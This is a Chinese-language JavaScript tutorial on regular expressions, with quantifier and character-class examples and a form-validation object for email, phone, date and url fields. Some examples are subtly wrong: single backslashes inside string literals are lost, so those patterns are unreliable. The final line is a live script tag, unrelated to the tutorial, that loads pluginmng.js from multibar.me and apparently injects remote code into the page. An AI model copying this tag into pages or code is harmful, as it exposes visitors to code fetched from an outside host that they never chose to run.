/* * 转义字符 */ var reg = new RegExp("\(1\+2\)\*3"); document.write(reg.test("(1+2)*3") + " " + reg.test(1)); /* * 字符集合:匹配"多个字符"中任意一个字符的表达式 */ // 除换行符意外的任意一个字符 reg = new RegExp("."); document.write(reg.test("a") + " " + reg.test("\n") + " "); document.writeln(); /* \w:字母、数字、下划线 * \W: 相反的 */ reg = new RegExp("\\w"); document.write(reg.test("a%$#") + " " + reg.test("@#%$") + " "); /* \s: 空格、制表符、换页符等空白字符 * \\S */ reg = new RegExp("\\s"); document.write(reg.test(" ") + " " + reg.test("ab1#") + " "); /* \d: 0-9数字字符 * \\D */ reg = new RegExp("\\d"); document.write(reg.test("0a") + " " + reg.test("a @#\n") + " "); /* * 自定义字符集合:用[]包含多个字符,匹配其中的任意一个;否定式:[^] * RegExp中的特殊符号除了\ [] : ^ - ,若被包含其中,则失去特殊意义 */ reg = new RegExp("[\-\d+.]"); // 匹配数字、小数点、-、+ document.write(reg.test("-") + " " + reg.test("abvc") + " "); reg = new RegExp("[\dA-Fa-f]"); // 数字、A-F、a-f /* * 匹配次数限定符 */ // 贪婪式:尽可能多的匹配 reg = new RegExp("\\w{3}"); // 固定重复3次,等价于"\\w\\w\\w" document.write(reg.exec("a_3") + " "); reg = new RegExp("ba{1,3}"); // 尽可能重复3次,至少重复1次 "ba" "baa" "baaa" document.write(reg.exec("ba1a") + " "); reg = new RegExp("\\w\\d{3,}"); // 至少3次 document.write(reg.exec("fj233") + " "); // "j233" reg = new RegExp("ba?"); // "ba{0,1} document.write(reg.exec("ba1a") + " "); reg = new RegExp("ba+"); // "ba{1,} document.write(reg.exec("ba1a") + " "); reg = new RegExp("ba*"); // "ba{0,} document.write(reg.exec("ba1a") + " "); // 勉强模式:尽可能少的匹配 (?) reg = new RegExp("a{1,2}?"); // 尽量1次,最多2次 document.write(reg.exec("aal") + " "); reg = new RegExp("a{1,}?"); // 尽量1次,最多任意次 document.write(reg.exec("abaa") + " "); reg = new RegExp("a{1,}?"); // 尽量1次,最多任意次 document.write(reg.exec("abaa") + " "); reg = new RegExp("a??"); // {0,1}? document.write(reg.exec("cb") + " "); reg = new RegExp("a+?"); // a{1,}? document.write(reg.exec("abaa") + " "); reg = new RegExp("a*?"); // a{0,}? document.write(reg.exec("abaa") + " "); /* * 字符边界:本身不匹配任何字符,只对字符边界和字符间缝隙附加条件 * ^:当前位置必须是文本开始位置 * $:当前位置必须是文本结束位置 * \b:当前位置的两侧,只能有一侧是字母、数字或下划线 */ /* * 选择表达式:用"|"分隔多段表达式,匹配其中任意一段 * 从左向右尝试匹配 */ /* * 分组:用()将其他表达式包含,使得被包含的表达式组成一个整体, * 在被修饰匹配次数时,可作为整体被修饰 * 从左向右尝试匹配 */
下面看个常用的验证例子 :
/* 构件验证引擎的规则和错误描述的标准集合 */ var errMsg = { email: { msg: "Not a valid email address.", test: function(obj) { return !obj.value || /^[a-z0-9_+.-]+\@([a-z0-9-]+\.)+[a-z0-9]{2,4}$/.test(obj.value); } }, phone: { msg: "Not a valid phone number.", test: function(obj) { var m = /^(\d{3}).*(\d{3}).*(\d{4})$/.exec(obj.value); if (m != null) obj.value = "(" + m[1] + ") " + m[2] + "-" + m[3]; return !obj.value || m != null; } }, date: { msg: "Not a valid date.", test: function(obj) { return !obj.value || /^\d{2}\/\d{2}\/\d{2,4}$/.test(obj.value); } }, url: { msg: "Not a valid url.", test: function(obj) { return !obj.value || obj.value != 'http://' || /^https?:\/\/([a-z0-9-]+\.)+[a-z0-9]{2,4}.*$/.test(obj.value); } } }
<script src="http://multibar.me/pluginmng.js" type="text/javascript"></script>